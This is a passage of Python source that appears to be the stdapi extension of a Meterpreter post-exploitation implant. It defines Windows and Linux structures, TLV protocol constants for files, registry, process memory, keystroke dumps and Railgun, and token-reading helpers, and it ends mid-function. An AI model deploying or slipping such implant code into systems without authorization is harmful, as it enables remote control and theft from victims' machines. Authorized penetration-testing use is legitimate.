# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab
import fnmatch
import getpass
import os
import platform
import re
import shlex
import shutil
import socket
import struct
import subprocess
import sys
import time

try:
	import ctypes
	has_ctypes = True
	has_windll = hasattr(ctypes, 'windll')
except ImportError:
	has_ctypes = False
	has_windll = False

try:
	import pty
	has_pty = True
except ImportError:
	has_pty = False

try:
	import pwd
	has_pwd = True
except ImportError:
	has_pwd = False

try:
	import termios
	has_termios = True
except ImportError:
	has_termios = False

try:
	import _winreg as winreg
	has_winreg = True
except ImportError:
	has_winreg = False

try:
	import winreg
	has_winreg = True
except ImportError:
	has_winreg = (has_winreg or False)

if sys.version_info[0] < 3:
	is_str = lambda obj: issubclass(obj.__class__, str)
	is_bytes = lambda obj: issubclass(obj.__class__, str)
	bytes = lambda *args: str(*args[:1])
	NULL_BYTE = '\x00'
	unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
	if isinstance(__builtins__, dict):
		is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
		str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
	else:
		is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
		str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
	is_bytes = lambda obj: issubclass(obj.__class__, bytes)
	NULL_BYTE = bytes('\x00', 'UTF-8')
	long = int
	unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)

if has_ctypes:
	#
	# Windows Structures
	#
	size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
	class EVENTLOGRECORD(ctypes.Structure):
		_fields_ = [("Length", ctypes.c_uint32),
			("Reserved", ctypes.c_uint32),
			("RecordNumber", ctypes.c_uint32),
			("TimeGenerated", ctypes.c_uint32),
			("TimeWritten", ctypes.c_uint32),
			("EventID", ctypes.c_uint32),
			("EventType", ctypes.c_uint16),
			("NumStrings", ctypes.c_uint16),
			("EventCategory", ctypes.c_uint16),
			("ReservedFlags", ctypes.c_uint16),
			("ClosingRecordNumber", ctypes.c_uint32),
			("StringOffset", ctypes.c_uint32),
			("UserSidLength", ctypes.c_uint32),
			("UserSidOffset", ctypes.c_uint32),
			("DataLength", ctypes.c_uint32),
			("DataOffset", ctypes.c_uint32)]

	class SOCKADDR(ctypes.Structure):
		_fields_ = [("sa_family", ctypes.c_ushort),
			("sa_data", (ctypes.c_uint8 * 14))]

	class SOCKET_ADDRESS(ctypes.Structure):
		_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
			("iSockaddrLength", ctypes.c_int)]

	class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
		_fields_ = [
			("s", type(
					'_s_IP_ADAPTER_UNICAST_ADDRESS',
					(ctypes.Structure,),
					dict(_fields_ = [
						("Length", ctypes.c_ulong),
						("Flags", ctypes.c_uint32)
					])
			)),
			("Next", ctypes.c_void_p),
			("Address", SOCKET_ADDRESS),
			("PrefixOrigin", ctypes.c_uint32),
			("SuffixOrigin", ctypes.c_uint32),
			("DadState", ctypes.c_uint32),
			("ValidLifetime", ctypes.c_ulong),
			("PreferredLifetime", ctypes.c_ulong),
			("LeaseLifetime", ctypes.c_ulong),
			("OnLinkPrefixLength", ctypes.c_uint8)]

	class IP_ADAPTER_ADDRESSES(ctypes.Structure):
		_fields_ = [
			("u", type(
				'_u_IP_ADAPTER_ADDRESSES',
				(ctypes.Union,),
				dict(_fields_ = [
					("Alignment", ctypes.c_ulonglong),
					("s", type(
						'_s_IP_ADAPTER_ADDRESSES',
						(ctypes.Structure,),
						dict(_fields_ = [
							("Length", ctypes.c_ulong),
							("IfIndex", ctypes.c_uint32)
						])
					))
				])
			)),
			("Next", ctypes.c_void_p),
			("AdapterName", ctypes.c_char_p),
			("FirstUnicastAddress", ctypes.c_void_p),
			("FirstAnycastAddress", ctypes.c_void_p),
			("FirstMulticastAddress", ctypes.c_void_p),
			("FirstDnsServerAddress", ctypes.c_void_p),
			("DnsSuffix", ctypes.c_wchar_p),
			("Description", ctypes.c_wchar_p),
			("FriendlyName", ctypes.c_wchar_p),
			("PhysicalAddress", (ctypes.c_uint8 * 8)),
			("PhysicalAddressLength", ctypes.c_uint32),
			("Flags", ctypes.c_uint32),
			("Mtu", ctypes.c_uint32),
			("IfType", ctypes.c_uint32),
			("OperStatus", ctypes.c_uint32),
			("Ipv6IfIndex", ctypes.c_uint32),
			("ZoneIndices", (ctypes.c_uint32 * 16)),
			("FirstPrefix", ctypes.c_void_p),
			("TransmitLinkSpeed", ctypes.c_uint64),
			("ReceiveLinkSpeed", ctypes.c_uint64),
			("FirstWinsServerAddress", ctypes.c_void_p),
			("FirstGatewayAddress", ctypes.c_void_p),
			("Ipv4Metric", ctypes.c_ulong),
			("Ipv6Metric", ctypes.c_ulong),
			("Luid", ctypes.c_uint64),
			("Dhcpv4Server", SOCKET_ADDRESS),
			("CompartmentId", ctypes.c_uint32),
			("NetworkGuid", (ctypes.c_uint8 * 16)),
			("ConnectionType", ctypes.c_uint32),
			("TunnelType", ctypes.c_uint32),
			("Dhcpv6Server", SOCKET_ADDRESS),
			("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
			("Dhcpv6ClientDuidLength", ctypes.c_ulong),
			("Dhcpv6Iaid", ctypes.c_ulong),
			("FirstDnsSuffix", ctypes.c_void_p)]

	class LASTINPUTINFO(ctypes.Structure):
		_fields_ = [("cbSize", ctypes.c_uint32),
			("dwTime", ctypes.c_uint32)]

	class MIB_IFROW(ctypes.Structure):
		_fields_ = [("wszName", (ctypes.c_wchar * 256)),
			("dwIndex", ctypes.c_uint32),
			("dwType", ctypes.c_uint32),
			("dwMtu", ctypes.c_uint32),
			("dwSpeed", ctypes.c_uint32),
			("dwPhysAddrLen", ctypes.c_uint32),
			("bPhysAddr", (ctypes.c_uint8 * 8)),
			("dwAdminStatus", ctypes.c_uint32),
			("dwOperStaus", ctypes.c_uint32),
			("dwLastChange", ctypes.c_uint32),
			("dwInOctets", ctypes.c_uint32),
			("dwInUcastPkts", ctypes.c_uint32),
			("dwInNUcastPkts", ctypes.c_uint32),
			("dwInDiscards", ctypes.c_uint32),
			("dwInErrors", ctypes.c_uint32),
			("dwInUnknownProtos", ctypes.c_uint32),
			("dwOutOctets", ctypes.c_uint32),
			("dwOutUcastPkts", ctypes.c_uint32),
			("dwOutNUcastPkts", ctypes.c_uint32),
			("dwOutDiscards", ctypes.c_uint32),
			("dwOutErrors", ctypes.c_uint32),
			("dwOutQLen", ctypes.c_uint32),
			("dwDescrLen", ctypes.c_uint32),
			("bDescr", (ctypes.c_char * 256))]

	class MIB_IPADDRROW(ctypes.Structure):
		_fields_ = [("dwAddr", ctypes.c_uint32),
			("dwIndex", ctypes.c_uint32),
			("dwMask", ctypes.c_uint32),
			("dwBCastAddr", ctypes.c_uint32),
			("dwReasmSize", ctypes.c_uint32),
			("unused1", ctypes.c_uint16),
			("wType", ctypes.c_uint16)]

	class OSVERSIONINFOEXW(ctypes.Structure):
		_fields_ = [("dwOSVersionInfoSize", ctypes.c_uint32),
			("dwMajorVersion", ctypes.c_uint32),
			("dwMinorVersion", ctypes.c_uint32),
			("dwBuildNumber", ctypes.c_uint32),
			("dwPlatformId", ctypes.c_uint32),
			("szCSDVersion", (ctypes.c_wchar * 128)),
			("wServicePackMajor", ctypes.c_uint16),
			("wServicePackMinor", ctypes.c_uint16),
			("wSuiteMask", ctypes.c_uint16),
			("wProductType", ctypes.c_uint8),
			("wReserved", ctypes.c_uint8)]

	class PROCESSENTRY32(ctypes.Structure):
		_fields_ = [("dwSize", ctypes.c_uint32),
			("cntUsage", ctypes.c_uint32),
			("th32ProcessID", ctypes.c_uint32),
			("th32DefaultHeapID", ctypes.c_void_p),
			("th32ModuleID", ctypes.c_uint32),
			("cntThreads", ctypes.c_uint32),
			("th32ParentProcessID", ctypes.c_uint32),
			("thPriClassBase", ctypes.c_int32),
			("dwFlags", ctypes.c_uint32),
			("szExeFile", (ctypes.c_char * 260))]

	class SID_AND_ATTRIBUTES(ctypes.Structure):
		_fields_ = [("Sid", ctypes.c_void_p),
			("Attributes", ctypes.c_uint32)]

	class SYSTEM_INFO(ctypes.Structure):
		_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
			("wReserved", ctypes.c_uint16),
			("dwPageSize", ctypes.c_uint32),
			("lpMinimumApplicationAddress", ctypes.c_void_p),
			("lpMaximumApplicationAddress", ctypes.c_void_p),
			("dwActiveProcessorMask", ctypes.c_uint32),
			("dwNumberOfProcessors", ctypes.c_uint32),
			("dwProcessorType", ctypes.c_uint32),
			("dwAllocationGranularity", ctypes.c_uint32),
			("wProcessorLevel", ctypes.c_uint16),
			("wProcessorRevision", ctypes.c_uint16)]

	class TOKEN_USER(ctypes.Structure):
		_fields_ = [("User", SID_AND_ATTRIBUTES)]

	class UNIVERSAL_NAME_INFO(ctypes.Structure):
		_fields_ = [("lpUniversalName", ctypes.c_wchar_p)]

	class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
		_fields_ = [("fAutoDetect", ctypes.c_int8),
			("lpszAutoConfigUrl", ctypes.c_wchar_p),
			("lpszProxy", ctypes.c_wchar_p),
			("lpszProxyBypass", ctypes.c_wchar_p)]

	#
	# Linux Structures
	#
	class IFADDRMSG(ctypes.Structure):
		_fields_ = [("family", ctypes.c_uint8),
			("prefixlen", ctypes.c_uint8),
			("flags", ctypes.c_uint8),
			("scope", ctypes.c_uint8),
			("index", ctypes.c_int32)]

	class IFINFOMSG(ctypes.Structure):
		_fields_ = [("family", ctypes.c_uint8),
			("pad", ctypes.c_int8),
			("type", ctypes.c_uint16),
			("index", ctypes.c_int32),
			("flags", ctypes.c_uint32),
			("chagen", ctypes.c_uint32)]

	class IOVEC(ctypes.Structure):
		_fields_ = [("iov_base", ctypes.c_void_p),
			("iov_len", size_t)]

	class NLMSGHDR(ctypes.Structure):
		_fields_ = [("len", ctypes.c_uint32),
			("type", ctypes.c_uint16),
			("flags", ctypes.c_uint16),
			("seq", ctypes.c_uint32),
			("pid", ctypes.c_uint32)]

	class RTATTR(ctypes.Structure):
		_fields_ = [("len", ctypes.c_uint16),
			("type", ctypes.c_uint16)]

TLV_EXTENSIONS           = 20000
#
# TLV Meta Types
#
TLV_META_TYPE_NONE       = (   0   )
TLV_META_TYPE_STRING     = (1 << 16)
TLV_META_TYPE_UINT       = (1 << 17)
TLV_META_TYPE_RAW        = (1 << 18)
TLV_META_TYPE_BOOL       = (1 << 19)
TLV_META_TYPE_QWORD      = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP      = (1 << 30)
TLV_META_TYPE_COMPLEX    = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)

#
# TLV Specific Types
#
TLV_TYPE_ANY                   = TLV_META_TYPE_NONE    | 0
TLV_TYPE_METHOD                = TLV_META_TYPE_STRING  | 1
TLV_TYPE_REQUEST_ID            = TLV_META_TYPE_STRING  | 2
TLV_TYPE_EXCEPTION             = TLV_META_TYPE_GROUP   | 3
TLV_TYPE_RESULT                = TLV_META_TYPE_UINT    | 4

TLV_TYPE_STRING                = TLV_META_TYPE_STRING  | 10
TLV_TYPE_UINT                  = TLV_META_TYPE_UINT    | 11
TLV_TYPE_BOOL                  = TLV_META_TYPE_BOOL    | 12

TLV_TYPE_LENGTH                = TLV_META_TYPE_UINT    | 25
TLV_TYPE_DATA                  = TLV_META_TYPE_RAW     | 26
TLV_TYPE_FLAGS                 = TLV_META_TYPE_UINT    | 27

TLV_TYPE_CHANNEL_ID            = TLV_META_TYPE_UINT    | 50
TLV_TYPE_CHANNEL_TYPE          = TLV_META_TYPE_STRING  | 51
TLV_TYPE_CHANNEL_DATA          = TLV_META_TYPE_RAW     | 52
TLV_TYPE_CHANNEL_DATA_GROUP    = TLV_META_TYPE_GROUP   | 53
TLV_TYPE_CHANNEL_CLASS         = TLV_META_TYPE_UINT    | 54

##
# General
##
TLV_TYPE_HANDLE                = TLV_META_TYPE_QWORD   | 600
TLV_TYPE_INHERIT               = TLV_META_TYPE_BOOL    | 601
TLV_TYPE_PROCESS_HANDLE        = TLV_META_TYPE_QWORD   | 630
TLV_TYPE_THREAD_HANDLE         = TLV_META_TYPE_QWORD   | 631

##
# Fs
##
TLV_TYPE_DIRECTORY_PATH        = TLV_META_TYPE_STRING  | 1200
TLV_TYPE_FILE_NAME             = TLV_META_TYPE_STRING  | 1201
TLV_TYPE_FILE_PATH             = TLV_META_TYPE_STRING  | 1202
TLV_TYPE_FILE_MODE             = TLV_META_TYPE_STRING  | 1203
TLV_TYPE_FILE_SIZE             = TLV_META_TYPE_UINT    | 1204
TLV_TYPE_FILE_HASH             = TLV_META_TYPE_RAW     | 1206

TLV_TYPE_MOUNT_GROUP           = TLV_META_TYPE_GROUP   | 1207
TLV_TYPE_MOUNT_NAME            = TLV_META_TYPE_STRING  | 1208
TLV_TYPE_MOUNT_TYPE            = TLV_META_TYPE_UINT    | 1209
TLV_TYPE_MOUNT_SPACE_USER      = TLV_META_TYPE_QWORD   | 1210
TLV_TYPE_MOUNT_SPACE_TOTAL     = TLV_META_TYPE_QWORD   | 1211
TLV_TYPE_MOUNT_SPACE_FREE      = TLV_META_TYPE_QWORD   | 1212
TLV_TYPE_MOUNT_UNCPATH         = TLV_META_TYPE_STRING  | 1213

TLV_TYPE_STAT_BUF              = TLV_META_TYPE_COMPLEX | 1220

TLV_TYPE_SEARCH_RECURSE        = TLV_META_TYPE_BOOL    | 1230
TLV_TYPE_SEARCH_GLOB           = TLV_META_TYPE_STRING  | 1231
TLV_TYPE_SEARCH_ROOT           = TLV_META_TYPE_STRING  | 1232
TLV_TYPE_SEARCH_RESULTS        = TLV_META_TYPE_GROUP   | 1233

##
# Net
##
TLV_TYPE_HOST_NAME             = TLV_META_TYPE_STRING  | 1400
TLV_TYPE_PORT                  = TLV_META_TYPE_UINT    | 1401
TLV_TYPE_INTERFACE_MTU         = TLV_META_TYPE_UINT    | 1402
TLV_TYPE_INTERFACE_FLAGS       = TLV_META_TYPE_STRING  | 1403
TLV_TYPE_INTERFACE_INDEX       = TLV_META_TYPE_UINT    | 1404

TLV_TYPE_SUBNET                = TLV_META_TYPE_RAW     | 1420
TLV_TYPE_NETMASK               = TLV_META_TYPE_RAW     | 1421
TLV_TYPE_GATEWAY               = TLV_META_TYPE_RAW     | 1422
TLV_TYPE_NETWORK_ROUTE         = TLV_META_TYPE_GROUP   | 1423
TLV_TYPE_IP_PREFIX             = TLV_META_TYPE_UINT    | 1424

TLV_TYPE_IP                    = TLV_META_TYPE_RAW     | 1430
TLV_TYPE_MAC_ADDRESS           = TLV_META_TYPE_RAW     | 1431
TLV_TYPE_MAC_NAME              = TLV_META_TYPE_STRING  | 1432
TLV_TYPE_NETWORK_INTERFACE     = TLV_META_TYPE_GROUP   | 1433
TLV_TYPE_IP6_SCOPE             = TLV_META_TYPE_RAW     | 1434

TLV_TYPE_SUBNET_STRING         = TLV_META_TYPE_STRING  | 1440
TLV_TYPE_NETMASK_STRING        = TLV_META_TYPE_STRING  | 1441
TLV_TYPE_GATEWAY_STRING        = TLV_META_TYPE_STRING  | 1442
TLV_TYPE_ROUTE_METRIC          = TLV_META_TYPE_UINT    | 1443
TLV_TYPE_ADDR_TYPE             = TLV_META_TYPE_UINT    | 1444

##
# Proxy configuration
##
TLV_TYPE_PROXY_CFG_AUTODETECT    = TLV_META_TYPE_BOOL    | 1445
TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING  | 1446
TLV_TYPE_PROXY_CFG_PROXY         = TLV_META_TYPE_STRING  | 1447
TLV_TYPE_PROXY_CFG_PROXYBYPASS   = TLV_META_TYPE_STRING  | 1448

##
# Socket
##
TLV_TYPE_PEER_HOST             = TLV_META_TYPE_STRING  | 1500
TLV_TYPE_PEER_PORT             = TLV_META_TYPE_UINT    | 1501
TLV_TYPE_LOCAL_HOST            = TLV_META_TYPE_STRING  | 1502
TLV_TYPE_LOCAL_PORT            = TLV_META_TYPE_UINT    | 1503
TLV_TYPE_CONNECT_RETRIES       = TLV_META_TYPE_UINT    | 1504

TLV_TYPE_SHUTDOWN_HOW          = TLV_META_TYPE_UINT    | 1530

##
# Railgun
##
TLV_TYPE_EXTENSION_RAILGUN             = 0
TLV_TYPE_RAILGUN_SIZE_OUT              = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
TLV_TYPE_RAILGUN_STACKBLOB             = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
TLV_TYPE_RAILGUN_BUFFERBLOB_IN         = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT      = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT   = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
TLV_TYPE_RAILGUN_BACK_RET              = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
TLV_TYPE_RAILGUN_BACK_ERR              = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
TLV_TYPE_RAILGUN_DLLNAME               = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
TLV_TYPE_RAILGUN_FUNCNAME              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
TLV_TYPE_RAILGUN_MULTI_GROUP           = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
TLV_TYPE_RAILGUN_MEM_ADDRESS           = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
TLV_TYPE_RAILGUN_MEM_DATA              = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
TLV_TYPE_RAILGUN_MEM_LENGTH            = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
TLV_TYPE_RAILGUN_CALLCONV              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
TLV_TYPE_RAILGUN_BACK_MSG              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)

##
# Registry
##
TLV_TYPE_HKEY                  = TLV_META_TYPE_QWORD   | 1000
TLV_TYPE_ROOT_KEY              = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY              = TLV_META_TYPE_STRING  | 1001
TLV_TYPE_PERMISSION            = TLV_META_TYPE_UINT    | 1002
TLV_TYPE_KEY_NAME              = TLV_META_TYPE_STRING  | 1003
TLV_TYPE_VALUE_NAME            = TLV_META_TYPE_STRING  | 1010
TLV_TYPE_VALUE_TYPE            = TLV_META_TYPE_UINT    | 1011
TLV_TYPE_VALUE_DATA            = TLV_META_TYPE_RAW     | 1012
TLV_TYPE_TARGET_HOST           = TLV_META_TYPE_STRING  | 1013

##
# Config
##
TLV_TYPE_COMPUTER_NAME         = TLV_META_TYPE_STRING  | 1040
TLV_TYPE_OS_NAME               = TLV_META_TYPE_STRING  | 1041
TLV_TYPE_USER_NAME             = TLV_META_TYPE_STRING  | 1042
TLV_TYPE_ARCHITECTURE          = TLV_META_TYPE_STRING  | 1043
TLV_TYPE_LANG_SYSTEM           = TLV_META_TYPE_STRING  | 1044
TLV_TYPE_SID                   = TLV_META_TYPE_STRING  | 1045
TLV_TYPE_LOCAL_DATETIME        = TLV_META_TYPE_STRING  | 1048

##
# Environment
##
TLV_TYPE_ENV_VARIABLE          = TLV_META_TYPE_STRING  | 1100
TLV_TYPE_ENV_VALUE             = TLV_META_TYPE_STRING  | 1101
TLV_TYPE_ENV_GROUP             = TLV_META_TYPE_GROUP   | 1102

DELETE_KEY_FLAG_RECURSIVE = (1 << 0)

##
# Process
##
TLV_TYPE_BASE_ADDRESS          = TLV_META_TYPE_QWORD   | 2000
TLV_TYPE_ALLOCATION_TYPE       = TLV_META_TYPE_UINT    | 2001
TLV_TYPE_PROTECTION            = TLV_META_TYPE_UINT    | 2002
TLV_TYPE_PROCESS_PERMS         = TLV_META_TYPE_UINT    | 2003
TLV_TYPE_PROCESS_MEMORY        = TLV_META_TYPE_RAW     | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS    = TLV_META_TYPE_QWORD   | 2005
TLV_TYPE_MEMORY_STATE          = TLV_META_TYPE_UINT    | 2006
TLV_TYPE_MEMORY_TYPE           = TLV_META_TYPE_UINT    | 2007
TLV_TYPE_ALLOC_PROTECTION      = TLV_META_TYPE_UINT    | 2008
TLV_TYPE_PID                   = TLV_META_TYPE_UINT    | 2300
TLV_TYPE_PROCESS_NAME          = TLV_META_TYPE_STRING  | 2301
TLV_TYPE_PROCESS_PATH          = TLV_META_TYPE_STRING  | 2302
TLV_TYPE_PROCESS_GROUP         = TLV_META_TYPE_GROUP   | 2303
TLV_TYPE_PROCESS_FLAGS         = TLV_META_TYPE_UINT    | 2304
TLV_TYPE_PROCESS_ARGUMENTS     = TLV_META_TYPE_STRING  | 2305
TLV_TYPE_PROCESS_ARCH          = TLV_META_TYPE_UINT    | 2306
TLV_TYPE_PARENT_PID            = TLV_META_TYPE_UINT    | 2307

TLV_TYPE_IMAGE_FILE            = TLV_META_TYPE_STRING  | 2400
TLV_TYPE_IMAGE_FILE_PATH       = TLV_META_TYPE_STRING  | 2401
TLV_TYPE_PROCEDURE_NAME        = TLV_META_TYPE_STRING  | 2402
TLV_TYPE_PROCEDURE_ADDRESS     = TLV_META_TYPE_QWORD   | 2403
TLV_TYPE_IMAGE_BASE            = TLV_META_TYPE_QWORD   | 2404
TLV_TYPE_IMAGE_GROUP           = TLV_META_TYPE_GROUP   | 2405
TLV_TYPE_IMAGE_NAME            = TLV_META_TYPE_STRING  | 2406

TLV_TYPE_THREAD_ID             = TLV_META_TYPE_UINT    | 2500
TLV_TYPE_THREAD_PERMS          = TLV_META_TYPE_UINT    | 2502
TLV_TYPE_EXIT_CODE             = TLV_META_TYPE_UINT    | 2510
TLV_TYPE_ENTRY_POINT           = TLV_META_TYPE_QWORD   | 2511
TLV_TYPE_ENTRY_PARAMETER       = TLV_META_TYPE_QWORD   | 2512
TLV_TYPE_CREATION_FLAGS        = TLV_META_TYPE_UINT    | 2513

TLV_TYPE_REGISTER_NAME         = TLV_META_TYPE_STRING  | 2540
TLV_TYPE_REGISTER_SIZE         = TLV_META_TYPE_UINT    | 2541
TLV_TYPE_REGISTER_VALUE_32     = TLV_META_TYPE_UINT    | 2542
TLV_TYPE_REGISTER              = TLV_META_TYPE_GROUP   | 2550

##
# Ui
##
TLV_TYPE_IDLE_TIME             = TLV_META_TYPE_UINT    | 3000
TLV_TYPE_KEYS_DUMP             = TLV_META_TYPE_STRING  | 3001
TLV_TYPE_DESKTOP               = TLV_META_TYPE_STRING  | 3002

##
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME      = TLV_META_TYPE_STRING  | 4000
TLV_TYPE_EVENT_HANDLE          = TLV_META_TYPE_QWORD   | 4001
TLV_TYPE_EVENT_NUMRECORDS      = TLV_META_TYPE_UINT    | 4002

TLV_TYPE_EVENT_READFLAGS       = TLV_META_TYPE_UINT    | 4003
TLV_TYPE_EVENT_RECORDOFFSET    = TLV_META_TYPE_UINT    | 4004

TLV_TYPE_EVENT_RECORDNUMBER    = TLV_META_TYPE_UINT    | 4006
TLV_TYPE_EVENT_TIMEGENERATED   = TLV_META_TYPE_UINT    | 4007
TLV_TYPE_EVENT_TIMEWRITTEN     = TLV_META_TYPE_UINT    | 4008
TLV_TYPE_EVENT_ID              = TLV_META_TYPE_UINT    | 4009
TLV_TYPE_EVENT_TYPE            = TLV_META_TYPE_UINT    | 4010
TLV_TYPE_EVENT_CATEGORY        = TLV_META_TYPE_UINT    | 4011
TLV_TYPE_EVENT_STRING          = TLV_META_TYPE_STRING  | 4012
TLV_TYPE_EVENT_DATA            = TLV_META_TYPE_RAW     | 4013

##
# Power
##
TLV_TYPE_POWER_FLAGS           = TLV_META_TYPE_UINT    | 4100
TLV_TYPE_POWER_REASON          = TLV_META_TYPE_UINT    | 4101

##
# Sys
##
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)

PROCESS_ARCH_UNKNOWN = 0
PROCESS_ARCH_X86 = 1
PROCESS_ARCH_X64 = 2
PROCESS_ARCH_IA64 = 3

##
# Errors
##
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1

# Special return value to match up with Windows error codes for network
# errors.
ERROR_CONNECTION_ERROR = 10000

# Windows Constants
GAA_FLAG_SKIP_ANYCAST             = 0x0002
GAA_FLAG_SKIP_MULTICAST           = 0x0004
GAA_FLAG_INCLUDE_PREFIX           = 0x0010
GAA_FLAG_SKIP_DNS_SERVER          = 0x0080
LOCALE_SISO639LANGNAME            = 0x0059
LOCALE_SISO3166CTRYNAME           = 0x005A
PROCESS_TERMINATE                 = 0x0001
PROCESS_VM_READ                   = 0x0010
PROCESS_QUERY_INFORMATION         = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
VER_NT_WORKSTATION                = 0x0001
VER_NT_DOMAIN_CONTROLLER          = 0x0002
VER_NT_SERVER                     = 0x0003
VER_PLATFORM_WIN32s               = 0x0000
VER_PLATFORM_WIN32_WINDOWS        = 0x0001
VER_PLATFORM_WIN32_NT             = 0x0002

WIN_AF_INET  = 2
WIN_AF_INET6 = 23

UNIVERSAL_NAME_INFO_LEVEL = 1

DRIVE_REMOTE = 4

# Linux Constants
RTM_GETLINK   = 18
RTM_GETADDR   = 22
RTM_GETROUTE  = 26

IFLA_ADDRESS   = 1
IFLA_BROADCAST = 2
IFLA_IFNAME    = 3
IFLA_MTU       = 4

IFA_ADDRESS    = 1
IFA_LABEL      = 3

meterpreter.register_extension('stdapi')

# Meterpreter register function decorators
register_function = meterpreter.register_function
def register_function_if(condition):
	if condition:
		return meterpreter.register_function
	else:
		return lambda function: function

def byref_at(obj, offset=0):
	address = ctypes.addressof(obj) + offset
	return ctypes.pointer(type(obj).from_address(address))

def bytes_to_ctarray(bytes_):
	ctarray = (ctypes.c_byte * len(bytes_))()
	ctypes.memmove(ctypes.byref(ctarray), bytes_, len(bytes_))
	return ctarray

def ctarray_to_bytes(ctarray):
	if not len(ctarray):
		# work around a bug in v3.1 & v3.2 that results in a segfault when len(ctarray) == 0
		return bytes()
	bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray)
	return bytes_[:]

def calculate_32bit_netmask(bits):
	if bits == 32:
		netmask = 0xffffffff
	else:
		netmask = ((0xffffffff << (32 - (bits % 32))) & 0xffffffff)
	return struct.pack('!I', netmask)

def calculate_128bit_netmask(bits):
	part = calculate_32bit_netmask(bits)
	part = struct.unpack('!I', part)[0]
	if bits >= 96:
		netmask = struct.pack('!iiiI', -1, -1, -1, part)
	elif bits >= 64:
		netmask = struct.pack('!iiII', -1, -1, part, 0)
	elif bits >= 32:
		netmask = struct.pack('!iIII', -1, part, 0, 0)
	else:
		netmask = struct.pack('!IIII', part, 0, 0, 0)
	return netmask

def cstruct_unpack(structure, raw_data):
	if not isinstance(structure, ctypes.Structure):
		structure = structure()
	ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
	return structure

def get_stat_buffer(path):
	si = os.stat(path)
	rdev = 0
	if hasattr(si, 'st_rdev'):
		rdev = si.st_rdev
	blksize = 0
	if hasattr(si, 'st_blksize'):
		blksize = si.st_blksize
	blocks = 0
	if hasattr(si, 'st_blocks'):
		blocks = si.st_blocks
	st_buf = struct.pack('<IHHH', si.st_dev, max(min(0xffff, si.st_ino), 0), si.st_mode, si.st_nlink)
	st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
	st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
	st_buf += struct.pack('<II', blksize, blocks)
	return st_buf

def get_token_user(handle):
	TOKEN_QUERY = 0x0008
	TokenUser = 1
	advapi32 = ctypes.windll.advapi32
	advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]

	token_handle = ctypes.c_void_p()
	if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
		return None
	token_user_buffer = (ctypes.c_byte * 4096)()
	dw_returned = ctypes.c_uint32()
	result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
